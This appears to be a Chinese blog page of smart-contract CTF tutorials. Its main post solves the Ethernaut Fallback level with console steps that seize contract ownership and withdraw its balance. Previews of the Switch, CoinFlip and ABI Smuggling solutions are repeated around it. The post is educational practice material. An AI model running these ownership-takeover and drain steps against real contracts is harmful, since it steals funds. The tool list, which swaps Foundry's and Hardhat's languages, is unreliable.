Twitter: https://twitter.com/LeekDEV YouTube: https://www.youtube.com/@LeekDEV BILIBILI: https://space.bilibili.com/3493272831920239
Twitter: https://twitter.com/LeekDEV YouTube: https://www.youtube.com/@LeekDEV BILIBILI: https://space.bilibili.com/3493272831920239

Subscribe to Leek DEV

Subscribe to Leek DEV

智能合约黑客攻击 Ethernaut: 29. Switch
Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将合约中的 switchOn 改为 trueHack思路这道题 难度比较高,需要构建非常特殊的 CALLDATA 。const attack = '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e120000000000000000000...

智能合约黑客攻击 Ethernaut: 3. CoinFlip
Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目一个猜硬币正反面游戏,需要连续猜对10次。Hack思路所有的计算逻辑全部都写在了合约里,完全可以把逻辑复制一份计算出来。interface ICoinFlipChallenge { function flip(bool _guess) external returns (bool); } contract CoinFlipAttack { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; ICoinFlipChallenge public exploitInst; constructor(address _target) { exploitInst = ICoinFlipChallen...
Damn Vulnerable DeFi: 15.ABI Smuggling
Damn Vulnerable DeFi 是学习 Ethereum DeFi 智能合约攻击的 CTF (Capture The Flag) 游戏。游戏内容包括 闪电贷、Oracle 、DAO、NFT、DEX、钱包、TimeLock 等。视频教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….关卡题目…Hack思路…Hack案例…防范思路…参考资料….

智能合约黑客攻击 Ethernaut: 29. Switch
Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将合约中的 switchOn 改为 trueHack思路这道题 难度比较高,需要构建非常特殊的 CALLDATA 。const attack = '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e120000000000000000000...

智能合约黑客攻击 Ethernaut: 3. CoinFlip
Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目一个猜硬币正反面游戏,需要连续猜对10次。Hack思路所有的计算逻辑全部都写在了合约里,完全可以把逻辑复制一份计算出来。interface ICoinFlipChallenge { function flip(bool _guess) external returns (bool); } contract CoinFlipAttack { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; ICoinFlipChallenge public exploitInst; constructor(address _target) { exploitInst = ICoinFlipChallen...
Damn Vulnerable DeFi: 15.ABI Smuggling
Damn Vulnerable DeFi 是学习 Ethereum DeFi 智能合约攻击的 CTF (Capture The Flag) 游戏。游戏内容包括 闪电贷、Oracle 、DAO、NFT、DEX、钱包、TimeLock 等。视频教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….关卡题目…Hack思路…Hack案例…防范思路…参考资料….
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers


Ethernaut 是一个基于 Web3/Solidity 的对抗游戏,受 overthewire.org 启发, 运行于以太坊虚拟机. 每个关卡是一个需要被 ‘hacked’ 的智能合约。
把 Fallback 合约中的 owner改为自己,并且把合约中的余额转走。
合约本来应该是想做一个捐款合约,捐钱最多的人拥有这个合约的权限,但是在接收 Ether 的 receive() 回调方法里验证逻辑不对,可以比较容易跳过检查, 用非常少的钱就用有这个合约的 Owner 权限。
// 1.检查合约owner、余额等信息
await contract.owner();
await getBalance(contract.address)
// 2.发送最低金额以成为捐款人
await contract.contribute({value: toWei("0.0001")})
// 3.直接发送给合同 1 wei,这将使我们成为新的所有者
await sendTransaction({ from: player, to: contract.address , value:1 })
// 4.现在我们是合同的所有者,撤回所有资金
await contract.withdraw();
// 5.通关检查
await contract.owner();
await getBalance(contract.address)
直接在控制台调用合约方法 - 简单
使用 Remix 在浏览器进行开发 - 非常适合新手
缺点
需要编程基础
环境等问题
耗时较多
优点
符合编程类项目迭代
支持更加底层的操作
Defi 刚起来时有很多开发者是 Web2 转 Web3,绝大多数写合约水平都不怎么样,重入漏洞非常多。
…
Remix - Ethereum IDE - Soldity web IDE 让新手快速开始
Foundry - 智能合约开发框架,基于NodeJS, 大型项目必备
Hardhat 智能合约开发框架,基于Rust, 核心代码基本都是Solidity, 大型项目必备
Ethernaut - 本次游戏的原代码
Solidity Docs - Solidity 官方文档
Ethernaut 是一个基于 Web3/Solidity 的对抗游戏,受 overthewire.org 启发, 运行于以太坊虚拟机. 每个关卡是一个需要被 ‘hacked’ 的智能合约。
把 Fallback 合约中的 owner改为自己,并且把合约中的余额转走。
合约本来应该是想做一个捐款合约,捐钱最多的人拥有这个合约的权限,但是在接收 Ether 的 receive() 回调方法里验证逻辑不对,可以比较容易跳过检查, 用非常少的钱就用有这个合约的 Owner 权限。
// 1.检查合约owner、余额等信息
await contract.owner();
await getBalance(contract.address)
// 2.发送最低金额以成为捐款人
await contract.contribute({value: toWei("0.0001")})
// 3.直接发送给合同 1 wei,这将使我们成为新的所有者
await sendTransaction({ from: player, to: contract.address , value:1 })
// 4.现在我们是合同的所有者,撤回所有资金
await contract.withdraw();
// 5.通关检查
await contract.owner();
await getBalance(contract.address)
直接在控制台调用合约方法 - 简单
使用 Remix 在浏览器进行开发 - 非常适合新手
缺点
需要编程基础
环境等问题
耗时较多
优点
符合编程类项目迭代
支持更加底层的操作
Defi 刚起来时有很多开发者是 Web2 转 Web3,绝大多数写合约水平都不怎么样,重入漏洞非常多。
…
Remix - Ethereum IDE - Soldity web IDE 让新手快速开始
Foundry - 智能合约开发框架,基于NodeJS, 大型项目必备
Hardhat 智能合约开发框架,基于Rust, 核心代码基本都是Solidity, 大型项目必备
Ethernaut - 本次游戏的原代码
Solidity Docs - Solidity 官方文档
No activity yet